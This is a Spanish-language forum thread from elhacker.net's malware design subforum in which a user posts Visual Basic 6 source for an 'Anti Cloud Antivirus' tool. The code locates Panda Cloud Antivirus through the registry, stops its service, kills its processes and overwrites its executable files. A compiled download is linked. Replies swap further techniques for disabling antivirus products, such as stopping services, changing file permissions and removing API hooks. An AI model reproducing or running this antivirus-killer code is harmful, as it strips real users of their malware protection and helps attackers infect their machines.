elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
31 Julio 2010, 07:46  


Temas destacados: Tienda - Productos - Merchandising de elhacker.net



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Hendrix, Karcrack, [Zero], ctlon)
| | |-+  Prueba de concepto - Anti Cloud Antivirus (Panda)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Prueba de concepto - Anti Cloud Antivirus (Panda)  (Leído 4104 veces)
||MadAntrax||
Lab Member
Ex-Staff

Desconectado Desconectado

Mensajes: 1.511


Mala hierba nunca muere!


Ver Perfil WWW
Prueba de concepto - Anti Cloud Antivirus (Panda)
« en: 05 Mayo 2009, 23:27 »

Bueno, primero quiero aclarar que este programa/source no entra dentro del "concurso de desarrollo de malware de Abril Negro 2009". Pero sí entra dentro del boletín para Abril Negro 2009, como prueba de concepto...

Anti Cloud Antivirus by MadAntrax :P

He diseñado una simple función que aprovecha los comandos típicos de Windows (taskkill, net, etc...) y los he aplicado en forma de bucles FOR y Sleep's para generar un AV-Killer genérico. En éste caso lo he diseñado para el nuevo Cloud Antivirus de Panda



Que es Cloud Antivirus?

Es el nuevo antivirus gratuito desarrollado por Panda, usando un método de programación que evita sobrecargar la CPU del usuario (Cloud Computing). He analizado el AV y he decidido crear un AV Killer para "matar" el nuevo producto de Panda.

:http://www.cloudantivirus.com/default.aspx?lang=spa
:http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube

El source del programa es el siguiente:

modAntiCloudAV.bas
Código
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
 
Function StopService(ByVal sName As String) As Boolean
   On Error Resume Next
   Dim i As Integer
 
   For i = 1 To 3
       Shell "net stop " & sName, vbHide
       Sleep 250
   Next i
   Sleep 1000
   DoEvents
   StopService = True
End Function
 
Function DestroyFile(ByVal sFileName As String, ByVal sFilePath As String) As Boolean
   On Error Resume Next
   Dim i As Integer
 
   For i = 1 To 3
       Shell "taskkill /F /IM " & sFileName, vbHide
       Sleep 250
   Next i
   Sleep 1000
   DoEvents
 
   For i = 1 To 3
       Open sFilePath For Output As #1
           Print #1, "destroyed!"
       Close #1
       Sleep 10
   Next i
   DoEvents
   DestroyFile = True
End Function
 

Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...). Para usar el módulo y matar CloudAV se utiliza así:

Código
Private Sub CommandXP1_Click()
   On Error Resume Next
 
   Dim WShell As Object
   Dim CloudPath As String
 
   CommandXP1.Enabled = False
   Set WShell = CreateObject("WScript.Shell")
       CloudPath = WShell.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Panda Security\Nano Av\Setup\Path")
   Set WShell = Nothing
 
   If CloudPath = "" Then
       MsgBox "No se ha encontrado Cloud Antivirus instalado en el sistema", vbExclamation, "Anti-CloudAV"
   Else
       StopService "NanoServiceMain"
       DoEvents
       DestroyFile "PSUNMain.exe", CloudPath & "PSUNMain.exe"
       DoEvents
       DestroyFile "PSANHost.exe", CloudPath & "PSANHost.exe"
       DoEvents
       DestroyFile "PSANToManager.exe", CloudPath & "PSANToManager.exe"
       DoEvents
       'CloudAV destroyed
       MsgBox "Proceso finalizado correctamente, comprueba si tu CloudAV sigue funcionando", vbInformation, "Anti-CloudAV"
   End If
   CommandXP1.Enabled = True
End Sub
 

El source es mejorable, se puede modificar para que no haga tantos bucles ni tantos sleep's y mejorar la rápidez. Pero como es una prueba de concepto... prefiero dejarlo así para evitar posibles copy&paste de noob's. Los que quieran usar ésta técnica tendrán la oportunidad de programarse correctamente un modulo más eficiente (evitar usar el objecto WScript, no usar Shell, cifrar las String's, control de errores, etc...)

;)

LINK DE DESCARGA: antiCloudAV (Fichero Compilado + Source en VB6)

Saludos.
« Última modificación: 05 Mayo 2009, 23:34 por ||MadAntrax|| » En línea

http://cactus-software.elhacker.net/

Cactus MSN Kick 2.0 (75%)
* Cactus Joiner 2.5.1 FUD (100%)
* Cactus Metamorph 0.3 (100%)
Cactus Downloader (50%)
Cactus Keylogger (40%)
Cactus Worm Generator (30%)
Cactus USB Shield (20%)
E0N
ex-todo ^^
Ex-Staff

Desconectado Desconectado

Mensajes: 3.001


http://e0n-productions.blogspot.com/


Ver Perfil WWW
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #1 en: 06 Mayo 2009, 00:02 »

Pues añadido ;)
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009-t250385.0.html;msg1208337#msg1208337

Hay que ver lo calentito que está el subforo últimamente xD
Buen trabajo ;)
En línea

WHK
吴阿卡
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.962


The Hacktivism is not a crime


Ver Perfil WWW
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #2 en: 06 Mayo 2009, 04:12 »

Es "acojonante" (como dice un amigo)  ver como puedes detener facilmente un antivirus desde "sc" o desde "net", detener el servicio, eliminarlo del arranque y ya.

No se si habrá algún antivirus que deniege la detención del servicio aunque es dificil ya que si eres admin y no puedes detener un servicio propio de tu pc entonces pierdes el control y tendrias que pasar a system cosa que ahora desde xp es muy fácil de hacer.

De esta misma forma hasta puedes detener sistemas de proteccion que no necesariamente sea un antivirus, como por ejemplo un sistema de seguridad de internet, firewall, sniffer, etc.

Con "cacls" puedes asecinar de igual forma a los antispywares que no están corriendo siempre.
En línea

Novlucker
Ninja y
Moderador Global
*****
Desconectado Desconectado

Mensajes: 8.267


Yo que tu lo pienso dos veces


Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #3 en: 06 Mayo 2009, 04:36 »

La verdad que si es increíble que en ocasiones sea tan sencillo detener un AV, buen trabajo Mad  :D, y creo que no has elegido mejor AV para la prueba de concepto, ya que esta recien salido del horno y es una apuesta a los "nuevos" AV  :-X

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Arcangel_0x7C5

Desconectado Desconectado

Mensajes: 242



Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #4 en: 06 Mayo 2009, 04:49 »

Es "acojonante" (como dice un amigo)  ver como puedes detener facilmente un antivirus desde "sc" o desde "net", detener el servicio, eliminarlo del arranque y ya.

No se si habrá algún antivirus que deniege la detención del servicio aunque es dificil ya que si eres admin y no puedes detener un servicio propio de tu pc entonces pierdes el control y tendrias que pasar a system cosa que ahora desde xp es muy fácil de hacer.

El nod32 v4 no se deja matar asi y el karpesky tampoco. habra mas pero yo solo se esos. La forma de matarlos es quitando los hook en las apis de terminar procesos

Saludos
En línea

||MadAntrax||
Lab Member
Ex-Staff

Desconectado Desconectado

Mensajes: 1.511


Mala hierba nunca muere!


Ver Perfil WWW
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #5 en: 06 Mayo 2009, 12:21 »

El nod32 v4 no se deja matar asi y el karpesky tampoco. habra mas pero yo solo se esos. La forma de matarlos es quitando los hook en las apis de terminar procesos

Exacto, me cito a mi mismo:

Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...).

Por eso, y aprovechando la ocasión, recomiendo utilizar sistemas de protección basados en drivers (a nive de Ring0 mejor) y Hook's. Como por ejemplo Kaspersky, NOD32, AVG y Avira... los demás son una m1erda de AV.

Saludos.
En línea

http://cactus-software.elhacker.net/

Cactus MSN Kick 2.0 (75%)
* Cactus Joiner 2.5.1 FUD (100%)
* Cactus Metamorph 0.3 (100%)
Cactus Downloader (50%)
Cactus Keylogger (40%)
Cactus Worm Generator (30%)
Cactus USB Shield (20%)
Karcrack
Moderador
*****
Desconectado Desconectado

Mensajes: 1.605


Se siente observado ¬¬'


Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #6 en: 06 Mayo 2009, 15:36 »

Buen PoC Mad ;D

No conocía ese AV :P

Yo ahora mismo estoy trabajando en un método genérico de matar cualquier AV... si saber nombre de procesos ni ruta de instalación ni información especifica de un AV... por ahora solo lo he probado con NOD32 (v3) y Avira (Antivir 2009) (Los únicos que tengo instalados en las VM :xD)

Cualquier novedad os hago un tema :xD :xD

Saludos ;)

PD: Siempre me falta tiempo >:(
En línea

XcryptOR

Desconectado Desconectado

Mensajes: 224



Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #7 en: 06 Mayo 2009, 19:27 »

eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
En línea



Karcrack
Moderador
*****
Desconectado Desconectado

Mensajes: 1.605


Se siente observado ¬¬'


Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #8 en: 06 Mayo 2009, 20:10 »

eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
Todavía estoy desarrollando el concepto... teóricamente es posible... luego vienen los problemas claro... :xD

Tu AV Killer utiliza los nombres de procesos y las Keys del registro que almacenan el Path?
En línea

Arcangel_0x7C5

Desconectado Desconectado

Mensajes: 242



Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #9 en: 07 Mayo 2009, 20:27 »

eso me gustaria verlo sin procesos, sin consultar en el registro o cero informacion del av. no creo , bueno habra que esperar. mmm mi av killer termina todos y absolutamente todos los avs.
Todavía estoy desarrollando el concepto... teóricamente es posible... luego vienen los problemas claro... :xD

Tu AV Killer utiliza los nombres de procesos y las Keys del registro que almacenan el Path?
cual seria esa teoria?

Saludos
En línea

Karcrack
Moderador
*****
Desconectado Desconectado

Mensajes: 1.605


Se siente observado ¬¬'


Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #10 en: 07 Mayo 2009, 23:08 »

cual seria esa teoria?

Saludos
He tenido problemas para aplicarla de forma genérica ya que mi W$ es una versión desatendida y tengo problemas con el Security Center.... pero la teoría seria esta (Solo he conseguido aplicarla con los AVs que ya dije): Cancelar el apagado de W$ cuando se ha descargado el sistema... La verdad... no se si conseguiré desarrollar algo completo... ya que como he dicho mi W$ da problemas... y entonces ya no sera tan genérico :xD

Tal vez sea impracticable, pero se me ocurrió... :P

Saludos ;)
En línea

Arcangel_0x7C5

Desconectado Desconectado

Mensajes: 242



Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #11 en: 07 Mayo 2009, 23:25 »

pero eso necesitarías volver a cargar el sistema ya que con el sistema descargado no podrías hacer mucho, y necesitarías de un driver para cancelarlo. Porque que yo sepa no hay apis para eso.

Saludos
En línea

XcryptOR

Desconectado Desconectado

Mensajes: 224



Ver Perfil
Re: Prueba de concepto - Anti Cloud Antivirus (Panda)
« Respuesta #12 en: 17 Mayo 2009, 01:13 »

igual al descargarse el sistema se descargan servicios basicos para poder manejar al sistema operativo, la mejor opcion es un driver, saludos
En línea



Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil    Juegos de Mario

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC